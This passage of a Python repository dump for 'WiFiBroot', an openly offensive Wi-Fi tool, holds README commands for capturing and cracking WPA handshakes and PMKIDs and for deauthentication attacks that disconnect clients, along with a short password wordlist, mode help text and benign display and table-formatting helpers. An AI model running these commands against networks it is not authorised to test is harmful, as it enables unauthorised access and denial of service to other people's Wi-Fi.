122 | ``` 123 | ### Examples 124 | 125 | To Capture 4-way handshake and crack MIC code: 126 | ``` 127 | $ python wifibroot.py --mode 1 -i wlan1mon --verbose -d dicts/list.txt -w output.cap 128 | ``` 129 | To Capture and Crack PMKID: 130 | ``` 131 | $ python wifibroot.py --mode 2 -i wlan1mon --verbose -d dicts/list.txt -w output.txt 132 | ``` 133 | Offline Crack Handshake and PMKID: 134 | ``` 135 | $ python wifibroot.py --mode 3 --type handshake --essid "TARGET ESSID" --verbose -d dicts/list.txt --read output.cap 136 | $ python wifibroot.py --mode 3 --type pmkid --verbose -d dicts/list.txt --read output.txt 137 | ``` 138 | Deauthentication attack in various form: 139 | ``` 140 | # Ultimate Deauthentication attack: 141 | $ python wifibroot.py --mode 4 -i wlan1mon -00 --verbose 142 | # Disconnect All Clients from Acess Point: 143 | $ python wifibroot.py --mode 4 -i wlan1mon --ap [AP MAC] --verbose 144 | # Disconnect a Specific Client: 145 | $ python wifibroot.py --mode 4 -i wlan1mon --ap [AP MAC] --client [STA MAC] --verbose 146 | ``` 147 | 148 | ## Support ## 149 | 150 | Website: [https://www.shelvoide.com](https://www.shellvoide.com)
151 | Twitter: [@hash3liZer](https://twitter.com/hash3liZer)
152 | Email: [admin@shellvoide.com](mailto://admin@shellvoide.com) 153 | -------------------------------------------------------------------------------- /dicts/list.txt: -------------------------------------------------------------------------------- 1 | password 2 | internet 3 | 12345678 4 | 987654321 5 | qwertyuiop 6 | 1234567890 7 | letmein. 8 | 87654321 9 | 9876543210 10 | 987654321 11 | baseball 12 | football 13 | dragonball 14 | 11234567 15 | 11111111 16 | 22222222 17 | 33333333 18 | 44444444 19 | 55555555 20 | 66666666 21 | 77777777 22 | 88888888 23 | 99999999 24 | 00000000 25 | abcdefgh 26 | abc12345 27 | abcd1234 28 | 123lalll 29 | iloveyou 30 | trustno1 31 | sunshine 32 | passw0rd 33 | anonymous 34 | an0nym0us 35 | an0nymous 36 | anonym0us 37 | superman 38 | password1 39 | princess 40 | 786 5555 41 | 42 | -------------------------------------------------------------------------------- /exceptions.py: -------------------------------------------------------------------------------- 1 | 2 | class SniffBreak(ValueError): 3 | pass -------------------------------------------------------------------------------- /handshakes/handshake.txt: -------------------------------------------------------------------------------- 1 | # Handshakes will be stored in this directory 2 | -------------------------------------------------------------------------------- /pull.py: -------------------------------------------------------------------------------- 1 | 2 | import sys 3 | import os 4 | import random 5 | 6 | __log__ = r'''%s 7 | _ ___ ___ ___ ___ ___ 8 | \\ _ /\*\___*\__\\__\/ \ / \\___ 9 | \ \\ \\\ \\__\\ /\ ) \\ ) \\ \ 10 | \__\\__\\\ \\__\\ \\__ / \___/ \__\ 11 | %s 12 | %sv1.0. Coded by @hash3liZer.%s 13 | ''' 14 | 15 | __mode__=''' 16 | Syntax: 17 | $ python wifibroot.py [--mode [modes]] [--options] 18 | $ python wifibroot.py --mode 2 -i wlan1mon --verbose -d /path/to/list -w pmkid.txt 19 | 20 | Modes: 21 | # Description Value 22 | 01 Capture 4-way handshake and crack MIC code 1 23 | 02 Captures and Crack PMKID (PMKID Attack) 2 24 | 03 Perform Manaul cracking on available 25 | capture types. See --list-types 3 26 | 04 Deauthentication. Disconnect two stations 27 | and jam the traffic. 4 28 | 29 | Use -h, --help after -m, --mode to get help on modes. 30 | ''' 31 | 32 | __1help__=''' 33 | Mode: 34 | 01 Capture 4-way handshake and crack MIC code 1 35 | 36 | Options: 37 | Args Description Required 38 | -h, --help Show this help manual NO 39 | -i, --interface Monitor Interface to use YES 40 | -v, --verbose Turn off Verbose mode. NO 41 | -t, --timeout Time Delay between two deauth 42 | requests. NO 43 | -d, --dictionary Dictionary for Cracking YES 44 | -w, --write Write Captured handshake to 45 | a seperate file NO 46 | --deauth Number of Deauthentication 47 | frames to send NO 48 | 49 | Filters: 50 | -e, --essid ESSID of listening network 51 | -b, --bssid BSSID of target network. 52 | -c, --channel Channel interface should be listening 53 | on. Default: ALL 54 | ''' 55 | 56 | __2help__=''' 57 | Mode: 58 | 02 Captures and Crack PMKID (PMKID Attack) 1 59 | 60 | Options: 61 | Args Description Required 62 | -h, --help Show this help manual NO 63 | -i, --interface Monitor Interface to use YES 64 | -v, --verbose Turn off Verbose mode. NO 65 | -d, --dictionary Dictionary for Cracking YES 66 | -w, --write Write Captured handshake to 67 | a seperate file NO 68 | 69 | Filters: 70 | -e, --essid ESSID of listening network 71 | -b, --bssid BSSID of target network. 72 | -c, --channel Channel interface should be listening 73 | on. Default: ALL 74 | ''' 75 | 76 | __3help__=''' 77 | Mode: 78 | 03 Perform Manaul cracking on available capture 79 | types. See --list-types 3 80 | 81 | Options: 82 | Args Description Required 83 | -h, --help Show this help manual NO 84 | --list-types List available cracking types NO 85 | --type Type of capture to crack YES 86 | -v, --verbose Turn off Verbose mode. NO 87 | -d, --dictionary Dictionary for Cracking YES 88 | -e, --essid ESSID of target network. 89 | Only for HANDSHAKE Type YES 90 | -r, --read Captured file to crack YES 91 | ''' 92 | 93 | __4help__=''' 94 | Mode: 95 | 04 Deauthentication. Disconnect two stations 96 | and jam the traffic. 4 97 | 98 | Options: 99 | Args Description Required 100 | -h, --help Show this help manual NO 101 | -i, --interface Monitor Mode Interface to use YES 102 | -0, --count Number of Deauthentication 103 | frames to send. '0' specifies 104 | unlimited frames YES 105 | --ap Access Point MAC Address NO 106 | --client STA (Station) MAC Address NO 107 | ''' 108 | 109 | __list__=''' 110 | Types: 111 | # Type Value 112 | 1 HANDSHAKE handshake 113 | 2 PMKID pmkid 114 | ''' 115 | 116 | 117 | class Pully: 118 | 119 | WHITE = '\033[0m' 120 | PURPLE = '\033[95m' 121 | CYAN = '\033[96m' 122 | DARKCYAN = '\033[36m' 123 | BLUE = '\033[94m' 124 | GREEN = '\033[92m' 125 | YELLOW = '\033[93m' 126 | RED = '\033[91m' 127 | BOLD = '\033[1m' 128 | UNDERLINE = '\033[4m' 129 | END = '\033[0m' 130 | LINEUP = '\033[F' 131 | 132 | def __init__(self): 133 | if not self.support_colors: 134 | self.win_colors() 135 | 136 | def support_colors(self): 137 | plat = sys.platform 138 | supported_platform = plat != 'Pocket PC' and (plat != 'win32' or \ 139 | 'ANSICON' in os.environ) 140 | is_a_tty = hasattr(sys.stdout, 'isatty') and sys.stdout.isatty() 141 | if not supported_platform or not is_a_tty: 142 | return False 143 | return True 144 | 145 | 146 | def win_colors(self): 147 | self.WHITE = '' 148 | self.PURPLE = '' 149 | self.CYAN = '' 150 | self.DARKCYAN = '' 151 | self.BLUE = '' 152 | self.GREEN = '' 153 | self.YELLOW = '' 154 | self.RED = '' 155 | self.BOLD = '' 156 | self.UNDERLINE = '' 157 | self.END = '' 158 | self.LINEUP = '' 159 | 160 | def info(self, statement, *args, **kwargs): 161 | print "%s[*]%s %s" % (self.BOLD+self.YELLOW, self.END, statement) 162 | return 163 | 164 | def error(self, statement, *args, **kwargs): 165 | print "%s[!]%s %s" % (self.BOLD+self.RED, self.END, statement) 166 | return 167 | 168 | def up(self, statement, *args, **kwargs): 169 | print "%s[^]%s %s" % (self.BOLD+self.BLUE, self.END, statement) 170 | return 171 | 172 | def use(self, statement, *args, **kwargs): 173 | print "%s[+]%s %s" % (self.BOLD+self.GREEN, self.END, statement) 174 | return 175 | 176 | def question(self, statement, *args, **kwargs): 177 | q = raw_input("%s[?]%s %s" % (self.BOLD+self.PURPLE, self.END, statement)) 178 | return q 179 | 180 | def delete(self, statement, *args, **kwargs): 181 | print "%s[#]%s %s" % (self.BOLD+self.CYAN, self.END, statement) 182 | return 183 | 184 | def special(self, statement, *args, **kwargs): 185 | print "%s[~]%s %s" % (self.BOLD+self.RED, self.END, statement) 186 | 187 | def spacer(self, statement, *args, **kwargs): 188 | print " %s" % (statement) 189 | 190 | def linebreak(self): 191 | print "\n" 192 | return 193 | 194 | def right(self, statement, *args, **kwargs): 195 | print "%s[>]%s %s" % (self.BOLD+self.DARKCYAN, self.END, statement) 196 | 197 | def lineup(self, *args, **kwargs): 198 | sys.stdout.write(self.LINEUP) 199 | 200 | def random_picker(self): 201 | seq = (self.RED, self.GREEN, self.YELLOW, self.BLUE) 202 | return random.choice(seq) 203 | 204 | def logo(self): 205 | print __log__ % (self.BOLD+self.random_picker(), self.END, self.BOLD, self.END) 206 | 207 | def help(self, _m): 208 | if _m == 1: 209 | print __1help__ 210 | elif _m == 2: 211 | print __2help__ 212 | elif _m == 3: 213 | print __3help__ 214 | elif _m == 4: 215 | print __4help__ 216 | 217 | def modes(self): 218 | print __mode__ 219 | 220 | def listTypes(self): 221 | print __list__ -------------------------------------------------------------------------------- /screen.py: -------------------------------------------------------------------------------- 1 | from utils import tabulate 2 | from scapy.utils import hexdump 3 | import curses 4 | import time 5 | import string 6 | import binascii 7 | 8 | class Display: 9 | 10 | shifter_break = False 11 | Shifter_stopped = False 12 | __WiFiAP = [] 13 | 14 | # Crackinig Variables 15 | 16 | _count_ = 0 17 | 18 | def __init__(self, verbosity): 19 | self.screen = curses.initscr() 20 | curses.noecho() 21 | curses.cbreak() 22 | self.screen.keypad(1) 23 | self.screen.scrollok(True) 24 | self.verbose = verbosity 25 | 26 | def __del__(self): 27 | self.screen.keypad(0) 28 | curses.nocbreak() 29 | curses.echo() 30 | curses.endwin() 31 | 32 | def destroy(self): 33 | ''' Explicit Definition for destroying the object ''' 34 | 35 | self.screen.keypad(0) 36 | curses.nocbreak() 37 | curses.echo() 38 | curses.endwin() 39 | 40 | def c_time(self): 41 | return time.asctime(time.localtime(time.time())) 42 | 43 | def cch(self, ch): 44 | ch = str(ch) 45 | if len(ch) == 1: 46 | ch = '0'+ch 47 | return ch 48 | 49 | def Shifter(self, sniffer, iface_instance): 50 | 51 | if self.verbose: 52 | __HEADERS = ['NO', 'ESSID', 'PWR', 'ENC', 'CIPHER', 'AUTH', 'CH', 'BSSID', 'VENDOR', 'CL'] 53 | else: 54 | __HEADERS = ['NO', 'ESSID', 'PWR', 'ENC', 'CIPHER', 'AUTH', 'CH', 'BSSID'] 55 | 56 | while not self.shifter_break: 57 | tabulator__, __sig_LIST, self.__WiFiAP, __sig_FOUND = [], [], [], [] 58 | 59 | for ap in sniffer.results(): 60 | __sig_LIST.append(ap['pwr']) 61 | 62 | __sig_LIST = sorted(__sig_LIST, reverse=True) 63 | count = 1 64 | 65 | for sig in __sig_LIST: 66 | for ap in sniffer.results(): 67 | if ap['pwr'] == sig and not ap['bssid'] in __sig_FOUND: 68 | __sig_FOUND.append(ap['bssid']) 69 | ap['count'] = count 70 | count += 1 71 | self.__WiFiAP.append(ap) 72 | 73 | for ap in self.__WiFiAP: 74 | ap['essid'] = ap['essid'].rstrip('\x00') 75 | if self.verbose: 76 | tabulator__.append([ap['count'], ap['essid'], ap['pwr'], ap['auth'], ap['cipher'], \ 77 | ap['psk'], ap['channel'], ap['bssid'].upper(), ap['vendor'], ap['clients']]) 78 | else: 79 | tabulator__.append([ap['count'], ap['essid'], ap['pwr'], ap['auth'], ap['cipher'], \ 80 | ap['psk'], ap['channel'], ap['bssid'].upper()]) 81 | 82 | self.screen.addstr(0, 0, "[%s] Channel [%s] Time Elapsed [%d] Networks Found"\ 83 | % (self.cch(iface_instance.cch), self.c_time(), len(tabulator__))) 84 | self.screen.addstr(1, 0, "\n"+tabulate(tabulator__, headers=__HEADERS)+"\n") 85 | self.screen.refresh() 86 | 87 | self.Shifter_stopped = not False 88 | 89 | def clear(self): 90 | self.screen.clear() 91 | 92 | def get_size(self): 93 | try: 94 | from backports.shutil_get_terminal_size import get_terminal_size 95 | return get_terminal_size().columns 96 | except: 97 | return None 98 | 99 | 100 | -------------------------------------------------------------------------------- /utils/__init__.py: -------------------------------------------------------------------------------- 1 | from tabulater__ import tabulate 2 | from macers import org 3 | from macers import Modes 4 | -------------------------------------------------------------------------------- /utils/macers.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | import random 4 | 5 | class org: 6 | 7 | def __init__(self, bssid=''): 8 | self.bssid = bssid 9 | self.org = self.findORG(self.bssid) 10 | 11 | def findORG(self, bssid): 12 | file__ = open(os.getcwd()+'/utils/macers.txt', 'r') 13 | for line in file__.readlines(): 14 | if line.strip('\n').split(' ~ ')[0].lower() == bssid.lower()[0:9]+"xx:xx:xx": 15 | file__.close() 16 | return line.strip('\n').split(' ~ ')[1].split(' ')[0] 17 | file__.close() 18 | return 'unknown' 19 | 20 | def supports_color(): 21 | plat = sys.platform 22 | supported_platform = plat != 'Pocket PC' and (plat != 'win32' or 'ANSICON' in os.environ) 23 | # isatty is not always implemented, #6223. 24 | is_a_tty = hasattr(sys.stdout, 'isatty') and sys.stdout.isatty() 25 | if not supported_platform or not is_a_tty: 26 | return False 27 | return True 28 | 29 | def randomness(self, _max, last_num): 30 | _to_return = last_num 31 | while _to_return == last_num: 32 | _to_return = random.randint(1, _max) 33 | return _to_return 34 | 35 | class Modes: 36 | 37 | def get_mode(self, m): 38 | avail_modes = (1, 2, 3, 4) 39 | if m in avail_modes: 40 | return True 41 | else: 42 | return False -------------------------------------------------------------------------------- /utils/tabulater__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """Pretty-print tabular data.""" 4 | 5 | from __future__ import print_function 6 | from __future__ import unicode_literals 7 | from collections import namedtuple, Iterable 8 | from platform import python_version_tuple 9 | import re 10 | import math 11 | 12 | 13 | if python_version_tuple()[0] < "3": 14 | from itertools import izip_longest 15 | from functools import partial 16 | _none_type = type(None) 17 | _bool_type = bool 18 | _int_type = int 19 | _long_type = long 20 | _float_type = float 21 | _text_type = unicode 22 | _binary_type = str 23 | 24 | def _is_file(f): 25 | return isinstance(f, file) 26 | 27 | else: 28 | from itertools import zip_longest as izip_longest 29 | from functools import reduce, partial 30 | _none_type = type(None) 31 | _bool_type = bool 32 | _int_type = int 33 | _long_type = int 34 | _float_type = float 35 | _text_type = str 36 | _binary_type = bytes 37 | basestring = str 38 | 39 | import io 40 | def _is_file(f): 41 | return isinstance(f, io.IOBase) 42 | 43 | try: 44 | import wcwidth # optional wide-character (CJK) support 45 | except ImportError: 46 | wcwidth = None 47 | 48 | 49 | __all__ = ["tabulate", "tabulate_formats", "simple_separated_format"] 50 | __version__ = "0.8.2" 51 | 52 | 53 | # minimum extra space in headers 54 | MIN_PADDING = 2 55 | 56 | # Whether or not to preserve leading/trailing whitespace in data. 57 | PRESERVE_WHITESPACE = False 58 | 59 | _DEFAULT_FLOATFMT="g" 60 | _DEFAULT_MISSINGVAL="" 61 | 62 | 63 | # if True, enable wide-character (CJK) support 64 | WIDE_CHARS_MODE = wcwidth is not None 65 | 66 | 67 | Line = namedtuple("Line", ["begin", "hline", "sep", "end"]) 68 | 69 | 70 | DataRow = namedtuple("DataRow", ["begin", "sep", "end"]) 71 | 72 | 73 | # A table structure is suppposed to be: 74 | # 75 | # --- lineabove --------- 76 | # headerrow 77 | # --- linebelowheader --- 78 | # datarow 79 | # --- linebewteenrows --- 80 | # ... (more datarows) ... 81 | # --- linebewteenrows --- 82 | # last datarow 83 | # --- linebelow --------- 84 | # 85 | # TableFormat's line* elements can be 86 | # 87 | # - either None, if the element is not used, 88 | # - or a Line tuple, 89 | # - or a function: [col_widths], [col_alignments] -> string. 90 | # 91 | # TableFormat's *row elements can be 92 | # 93 | # - either None, if the element is not used, 94 | # - or a DataRow tuple, 95 | # - or a function: [cell_values], [col_widths], [col_alignments] -> string. 96 | # 97 | # padding (an integer) is the amount of white space around data values. 98 | # 99 | # with_header_hide: 100 | # 101 | # - either None, to display all table elements unconditionally, 102 | # - or a list of elements not to be displayed if the table has column headers. 103 | # 104 | TableFormat = namedtuple("TableFormat", ["lineabove", "linebelowheader", 105 | "linebetweenrows", "linebelow", 106 | "headerrow", "datarow", 107 | "padding", "with_header_hide"]) 108 | 109 | 110 | def _pipe_segment_with_colons(align, colwidth): 111 | """Return a segment of a horizontal line with optional colons which 112 | indicate column's alignment (as in `pipe` output format).""" 113 | w = colwidth 114 | if align in ["right", "decimal"]: 115 | return ('-' * (w - 1)) + ":" 116 | elif align == "center": 117 | return ":" + ('-' * (w - 2)) + ":" 118 | elif align == "left": 119 | return ":" + ('-' * (w - 1)) 120 | else: 121 | return '-' * w 122 | 123 | 124 | def _pipe_line_with_colons(colwidths, colaligns): 125 | """Return a horizontal line with optional colons to indicate column's 126 | alignment (as in `pipe` output format).""" 127 | segments = [_pipe_segment_with_colons(a, w) for a, w in zip(colaligns, colwidths)] 128 | return "|" + "|".join(segments) + "|" 129 | 130 | 131 | def _mediawiki_row_with_attrs(separator, cell_values, colwidths, colaligns): 132 | alignment = { "left": '', 133 | "right": 'align="right"| ', 134 | "center": 'align="center"| ', 135 | "decimal": 'align="right"| ' } 136 | # hard-coded padding _around_ align attribute and value together 137 | # rather than padding parameter which affects only the value 138 | values_with_attrs = [' ' + alignment.get(a, '') + c + ' ' 139 | for c, a in zip(cell_values, colaligns)] 140 | colsep = separator*2 141 | return (separator + colsep.join(values_with_attrs)).rstrip() 142 | 143 | 144 | def _textile_row_with_attrs(cell_values, colwidths, colaligns): 145 | cell_values[0] += ' ' 146 | alignment = { "left": "<.", "right": ">.", "center": "=.", "decimal": ">." } 147 | values = (alignment.get(a, '') + v for a, v in zip(colaligns, cell_values)) 148 | return '|' + '|'.join(values) + '|' 149 | 150 | 151 | def _html_begin_table_without_header(colwidths_ignore, colaligns_ignore): 152 | # this table header will be suppressed if there is a header row 153 | return "\n".join(["", ""]) 154 | 155 | 156 | def _html_row_with_attrs(celltag, cell_values, colwidths, colaligns): 157 | alignment = { "left": '', 158 | "right": ' style="text-align: right;"', 159 | "center": ' style="text-align: center;"', 160 | "decimal": ' style="text-align: right;"' } 161 | values_with_attrs = ["<{0}{1}>{2}".format(celltag, alignment.get(a, ''), c) 162 | for c, a in zip(cell_values, colaligns)] 163 | rowhtml = "" + "".join(values_with_attrs).rstrip() + "" 164 | if celltag == "th": # it's a header row, create a new table header 165 | rowhtml = "\n".join(["
", 166 | "", 167 | rowhtml, 168 | "", 169 | ""]) 170 | return rowhtml 171 | 172 | def _moin_row_with_attrs(celltag, cell_values, colwidths, colaligns, header=''): 173 | alignment = { "left": '', 174 | "right": '', 175 | "center": '', 176 | "decimal": '' } 177 | values_with_attrs = ["{0}{1} {2} ".format(celltag, 178 | alignment.get(a, ''), 179 | header+c+header) 180 | for c, a in zip(cell_values, colaligns)] 181 | return "".join(values_with_attrs)+"||" 182 | 183 | def _latex_line_begin_tabular(colwidths, colaligns, booktabs=False): 184 | alignment = { "left": "l", "right": "r", "center": "c", "decimal": "r" } 185 | tabular_columns_fmt = "".join([alignment.get(a, "l") for a in colaligns]) 186 | return "\n".join(["\\begin{tabular}{" + tabular_columns_fmt + "}", 187 | "\\toprule" if booktabs else "\hline"]) 188 | 189 | LATEX_ESCAPE_RULES = {r"&": r"\&", r"%": r"\%", r"$": r"\$", r"#": r"\#", 190 | r"_": r"\_", r"^": r"\^{}", r"{": r"\{", r"}": r"\}", 191 | r"~": r"\textasciitilde{}", "\\": r"\textbackslash{}", 192 | r"<": r"\ensuremath{<}", r">": r"\ensuremath{>}"} 193 | 194 | def _latex_row(cell_values, colwidths, colaligns, escrules=LATEX_ESCAPE_RULES): 195 | def escape_char(c): 196 | return escrules.get(c, c) 197 | escaped_values = ["".join(map(escape_char, cell)) for cell in cell_values] 198 | rowfmt = DataRow("", "&", "\\\\") 199 | return _build_simple_row(escaped_values, rowfmt) 200 | 201 | def _rst_escape_first_column(rows, headers): 202 | def escape_empty(val): 203 | if isinstance(val, (_text_type, _binary_type)) and not val.strip(): 204 | return ".." 205 | else: 206 | return val 207 | new_headers = list(headers) 208 | new_rows = [] 209 | if headers: 210 | new_headers[0] = escape_empty(headers[0]) 211 | for row in rows: 212 | new_row = list(row) 213 | if new_row: 214 | new_row[0] = escape_empty(row[0]) 215 | new_rows.append(new_row) 216 | return new_rows, new_headers 217 | 218 | 219 | _table_formats = {"simple": 220 | TableFormat(lineabove=Line("", "-", " ", ""), 221 | linebelowheader=Line("", "-", " ", ""), 222 | linebetweenrows=None, 223 | linebelow=Line("", "-", " ", ""), 224 | headerrow=DataRow("", " ", ""), 225 | datarow=DataRow("", " ", ""), 226 | padding=0, 227 | with_header_hide=["lineabove", "linebelow"]), 228 | "plain": 229 | TableFormat(lineabove=None, linebelowheader=None, 230 | linebetweenrows=None, linebelow=None, 231 | headerrow=DataRow("", " ", ""), 232 | datarow=DataRow("", " ", ""), 233 | padding=0, with_header_hide=None), 234 | "grid": 235 | TableFormat(lineabove=Line("+", "-", "+", "+"), 236 | linebelowheader=Line("+", "=", "+", "+"), 237 | linebetweenrows=Line("+", "-", "+", "+"), 238 | linebelow=Line("+", "-", "+", "+"), 239 | headerrow=DataRow("|", "|", "|"), 240 | datarow=DataRow("|", "|", "|"), 241 | padding=1, with_header_hide=None), 242 | "fancy_grid": 243 | TableFormat(lineabove=Line("╒", "═", "╤", "╕"), 244 | linebelowheader=Line("╞", "═", "╪", "╡"), 245 | linebetweenrows=Line("├", "─", "┼", "┤"), 246 | linebelow=Line("╘", "═", "╧", "╛"), 247 | headerrow=DataRow("│", "│", "│"), 248 | datarow=DataRow("│", "│", "│"), 249 | padding=1, with_header_hide=None), 250 | "pipe": 251 | TableFormat(lineabove=_pipe_line_with_colons, 252 | linebelowheader=_pipe_line_with_colons, 253 | linebetweenrows=None, 254 | linebelow=None, 255 | headerrow=DataRow("|", "|", "|"), 256 | datarow=DataRow("|", "|", "|"), 257 | padding=1, 258 | with_header_hide=["lineabove"]), 259 | "orgtbl": 260 | TableFormat(lineabove=None, 261 | linebelowheader=Line("|", "-", "+", "|"), 262 | linebetweenrows=None, 263 | linebelow=None, 264 | headerrow=DataRow("|", "|", "|"), 265 | datarow=DataRow("|", "|", "|"), 266 | padding=1, with_header_hide=None), 267 | "jira": 268 | TableFormat(lineabove=None, 269 | linebelowheader=None, 270 | linebetweenrows=None, 271 | linebelow=None, 272 | headerrow=DataRow("||", "||", "||"), 273 | datarow=DataRow("|", "|", "|"), 274 | padding=1, with_header_hide=None), 275 | "presto": 276 | TableFormat(lineabove=None, 277 | linebelowheader=Line("", "-", "+", ""), 278 | linebetweenrows=None, 279 | linebelow=None, 280 | headerrow=DataRow("", "|", ""), 281 | datarow=DataRow("", "|", ""), 282 | padding=1, with_header_hide=None), 283 | "psql": 284 | TableFormat(lineabove=Line("+", "-", "+", "+"), 285 | linebelowheader=Line("|", "-", "+", "|"), 286 | linebetweenrows=None, 287 | linebelow=Line("+", "-", "+", "+"), 288 | headerrow=DataRow("|", "|", "|"), 289 | datarow=DataRow("|", "|", "|"), 290 | padding=1, with_header_hide=None), 291 | "rst": 292 | TableFormat(lineabove=Line("", "=", " ", ""), 293 | linebelowheader=Line("", "=", " ", ""), 294 | linebetweenrows=None, 295 | linebelow=Line("", "=", " ", ""), 296 | headerrow=DataRow("", " ", ""), 297 | datarow=DataRow("", " ", ""), 298 | padding=0, with_header_hide=None), 299 | "mediawiki": 300 | TableFormat(lineabove=Line("{| class=\"wikitable\" style=\"text-align: left;\"", 301 | "", "", "\n|+ \n|-"), 302 | linebelowheader=Line("|-", "", "", ""), 303 | linebetweenrows=Line("|-", "", "", ""), 304 | linebelow=Line("|}", "", "", ""), 305 | headerrow=partial(_mediawiki_row_with_attrs, "!"), 306 | datarow=partial(_mediawiki_row_with_attrs, "|"), 307 | padding=0, with_header_hide=None), 308 | "moinmoin": 309 | TableFormat(lineabove=None, 310 | linebelowheader=None, 311 | linebetweenrows=None, 312 | linebelow=None, 313 | headerrow=partial(_moin_row_with_attrs,"||",header="'''"), 314 | datarow=partial(_moin_row_with_attrs,"||"), 315 | padding=1, with_header_hide=None), 316 | "youtrack": 317 | TableFormat(lineabove=None, 318 | linebelowheader=None, 319 | linebetweenrows=None, 320 | linebelow=None, 321 | headerrow=DataRow("|| ", " || ", " || "), 322 | datarow=DataRow("| ", " | ", " |"), 323 | padding=1, with_header_hide=None), 324 | "html": 325 | TableFormat(lineabove=_html_begin_table_without_header, 326 | linebelowheader="", 327 | linebetweenrows=None, 328 | linebelow=Line("\n
", "", "", ""), 329 | headerrow=partial(_html_row_with_attrs, "th"), 330 | datarow=partial(_html_row_with_attrs, "td"), 331 | padding=0, with_header_hide=["lineabove"]), 332 | "latex": 333 | TableFormat(lineabove=_latex_line_begin_tabular, 334 | linebelowheader=Line("\\hline", "", "", ""), 335 | linebetweenrows=None, 336 | linebelow=Line("\\hline\n\\end{tabular}", "", "", ""), 337 | headerrow=_latex_row, 338 | datarow=_latex_row, 339 | padding=1, with_header_hide=None), 340 | "latex_raw": 341 | TableFormat(lineabove=_latex_line_begin_tabular, 342 | linebelowheader=Line("\\hline", "", "", ""), 343 | linebetweenrows=None, 344 | linebelow=Line("\\hline\n\\end{tabular}", "", "", ""), 345 | headerrow=partial(_latex_row, escrules={}), 346 | datarow=partial(_latex_row, escrules={}), 347 | padding=1, with_header_hide=None), 348 | "latex_booktabs": 349 | TableFormat(lineabove=partial(_latex_line_begin_tabular, booktabs=True), 350 | linebelowheader=Line("\\midrule", "", "", ""), 351 | linebetweenrows=None, 352 | linebelow=Line("\\bottomrule\n\\end{tabular}", "", "", ""), 353 | headerrow=_latex_row, 354 | datarow=_latex_row, 355 | padding=1, with_header_hide=None), 356 | "tsv": 357 | TableFormat(lineabove=None, linebelowheader=None, 358 | linebetweenrows=None, linebelow=None, 359 | headerrow=DataRow("", "\t", ""), 360 | datarow=DataRow("", "\t", ""), 361 | padding=0, with_header_hide=None), 362 | "textile": 363 | TableFormat(lineabove=None, linebelowheader=None, 364 | linebetweenrows=None, linebelow=None, 365 | headerrow=DataRow("|_. ", "|_.", "|"), 366 | datarow=_textile_row_with_attrs, 367 | padding=1, with_header_hide=None)} 368 | 369 | 370 | tabulate_formats = list(sorted(_table_formats.keys())) 371 | 372 | # The table formats for which multiline cells will be folded into subsequent 373 | # table rows. The key is the original format specified at the API. The value is 374 | # the format that will be used to represent the original format. 375 | multiline_formats = { 376 | "plain": "plain", 377 | "simple": "simple", 378 | "grid": "grid", 379 | "fancy_grid": "fancy_grid", 380 | "pipe": "pipe", 381 | "orgtbl": "orgtbl", 382 | "jira": "jira", 383 | "presto": "presto", 384 | "psql": "psql", 385 | "rst": "rst", 386 | } 387 | 388 | # TODO: Add multiline support for the remaining table formats: 389 | # - mediawiki: Replace \n with
390 | # - moinmoin: TBD 391 | # - youtrack: TBD 392 | # - html: Replace \n with
393 | # - latex*: Use "makecell" package: In header, replace X\nY with 394 | # \thead{X\\Y} and in data row, replace X\nY with \makecell{X\\Y} 395 | # - tsv: TBD 396 | # - textile: Replace \n with
(must be well-formed XML) 397 | 398 | _multiline_codes = re.compile(r"\r|\n|\r\n") 399 | _multiline_codes_bytes = re.compile(b"\r|\n|\r\n") 400 | _invisible_codes = re.compile(r"\x1b\[\d+[;\d]*m|\x1b\[\d*\;\d*\;\d*m") # ANSI color codes 401 | _invisible_codes_bytes = re.compile(b"\x1b\[\d+[;\d]*m|\x1b\[\d*\;\d*\;\d*m") # ANSI color codes 402 | 403 | 404 | def simple_separated_format(separator): 405 | """Construct a simple TableFormat with columns separated by a separator. 406 | 407 | >>> tsv = simple_separated_format("\\t") ; \ 408 | tabulate([["foo", 1], ["spam", 23]], tablefmt=tsv) == 'foo \\t 1\\nspam\\t23' 409 | True 410 | 411 | """ 412 | return TableFormat(None, None, None, None, 413 | headerrow=DataRow('', separator, ''), 414 | datarow=DataRow('', separator, ''), 415 | padding=0, with_header_hide=None) 416 | 417 | 418 | def _isconvertible(conv, string): 419 | try: 420 | n = conv(string) 421 | return True 422 | except (ValueError, TypeError): 423 | return False 424 | 425 | 426 | def _isnumber(string): 427 | """ 428 | >>> _isnumber("123.45") 429 | True 430 | >>> _isnumber("123") 431 | True 432 | >>> _isnumber("spam") 433 | False 434 | >>> _isnumber("123e45678") 435 | False 436 | >>> _isnumber("inf") 437 | True 438 | """ 439 | if not _isconvertible(float, string): 440 | return False 441 | elif isinstance(string, (_text_type, _binary_type)) and ( 442 | math.isinf(float(string)) or math.isnan(float(string))): 443 | return string.lower() in ['inf', '-inf', 'nan'] 444 | return True 445 | 446 | 447 | def _isint(string, inttype=int): 448 | """ 449 | >>> _isint("123") 450 | True 451 | >>> _isint("123.45") 452 | False 453 | """ 454 | return type(string) is inttype or\ 455 | (isinstance(string, _binary_type) or isinstance(string, _text_type))\ 456 | and\ 457 | _isconvertible(inttype, string) 458 | 459 | 460 | def _isbool(string): 461 | """ 462 | >>> _isbool(True) 463 | True 464 | >>> _isbool("False") 465 | True 466 | >>> _isbool(1) 467 | False 468 | """ 469 | return type(string) is _bool_type or\ 470 | (isinstance(string, (_binary_type, _text_type))\ 471 | and\ 472 | string in ("True", "False")) 473 | 474 | 475 | def _type(string, has_invisible=True, numparse=True): 476 | """The least generic type (type(None), int, float, str, unicode). 477 | 478 | >>> _type(None) is type(None) 479 | True 480 | >>> _type("foo") is type("") 481 | True 482 | >>> _type("1") is type(1) 483 | True 484 | >>> _type('\x1b[31m42\x1b[0m') is type(42) 485 | True 486 | >>> _type('\x1b[31m42\x1b[0m') is type(42) 487 | True 488 | 489 | """ 490 | 491 | if has_invisible and \ 492 | (isinstance(string, _text_type) or isinstance(string, _binary_type)): 493 | string = _strip_invisible(string) 494 | 495 | if string is None: 496 | return _none_type 497 | elif hasattr(string, "isoformat"): # datetime.datetime, date, and time 498 | return _text_type 499 | elif _isbool(string): 500 | return _bool_type 501 | elif _isint(string) and numparse: 502 | return int 503 | elif _isint(string, _long_type) and numparse: 504 | return int 505 | elif _isnumber(string) and numparse: 506 | return float 507 | elif isinstance(string, _binary_type): 508 | return _binary_type 509 | else: 510 | return _text_type 511 | 512 | 513 | def 